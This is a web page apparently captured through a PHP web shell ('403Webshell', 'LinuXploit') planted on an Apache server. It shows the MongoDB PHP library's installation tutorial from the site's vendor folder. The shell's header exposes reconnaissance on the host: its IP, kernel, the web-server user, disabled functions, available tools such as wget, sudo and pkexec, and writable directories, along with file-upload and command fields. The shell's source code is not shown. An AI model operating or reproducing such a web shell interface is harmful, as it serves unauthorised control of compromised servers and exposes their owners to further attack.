403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/vendor/mongodb/mongodb/docs/tutorial/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/vendor/mongodb/mongodb/docs/tutorial/install-php-library.txt
=========================
Install the |php-library|
=========================

.. default-domain:: mongodb

Prerequisites
-------------

The |php-library| is a high-level abstraction for the MongoDB PHP driver. As
such, you must install the `mongodb` extension to use the library.

:php:`Installing the MongoDB PHP Driver <manual/en/mongodb.installation.php>`
describes how to install the `mongodb` extension for PHP. Instructions for
installing the driver for HHVM may be found in the :php:`Installation with HHVM
<manual/en/mongodb.installation.hhvm>` article.

Procedure
---------

Install the Library
~~~~~~~~~~~~~~~~~~~

The preferred method of installing |php-library| is with `Composer
<https://getcomposer.org/>`_ by running the following from your project
root:

.. code-block:: sh

   composer require mongodb/mongodb

While not recommended, you may also manually install the package via
the source tarballs attached to the `GitHub releases
<https://github.com/mongodb/mongo-php-library/releases>`_.

Configure Autoloading
~~~~~~~~~~~~~~~~~~~~~

Once you have installed the library, ensure that your application
includes Composer's autoloader. The ``require_once``
statement should point to Composer's autoloader, as in the following example:

.. code-block:: php

   require_once __DIR__ . "/vendor/autoload.php";

Refer to Composer's `autoloading documentation
<https://getcomposer.org/doc/01-basic-usage.md#autoloading>`_ for more
information about setting up autoloading.

If you installed the library manually from a source tarball, you
will also need to manually configure autoloading:

#. Map the top-level ``MongoDB\`` namespace to the ``src/`` directory
   using your preferred autoloader implementation.

#. Manually require the ``src/functions.php`` file, since PHP does not
   yet support function autoloading.

Youez - 2016 - github.com/yon3zu
LinuXploit